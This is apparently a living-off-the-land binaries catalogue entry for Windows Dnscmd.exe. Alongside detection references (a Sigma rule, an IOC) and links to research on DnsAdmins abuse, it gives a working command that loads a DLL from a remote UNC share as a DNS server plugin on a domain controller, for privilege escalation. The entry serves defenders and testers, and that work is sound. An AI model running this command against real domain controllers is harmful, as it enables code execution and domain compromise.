

.. /Dnscmd.exe

Execute (DLL)

A command-line interface for managing DNS servers

Paths:

C:\Windows\System32\Dnscmd.exe

C:\Windows\SysWOW64\Dnscmd.exe

Resources:

- <https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83>
- <https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html>
- <https://github.com/dim0x69/dns-exe-persistence/tree/master/dns-plugindll-vcpp>
- <https://twitter.com/Hexacorn/status/994000792628719618>
- <http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html>

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Detections:

- Sigma:
https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_dnscmd_install_new_server_level_plugin_dll.yml
- IOC: Dnscmd.exe loading dll from UNC/arbitrary path

Execute

Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.

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dnscmd.exe dc1.lab.int /config /serverlevelplugin.dll \\192.168.0.149\dll\wtf.dll
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Use case: Remotely inject dll to dns server

Privileges required: DNS admin

Operating systems: Windows server

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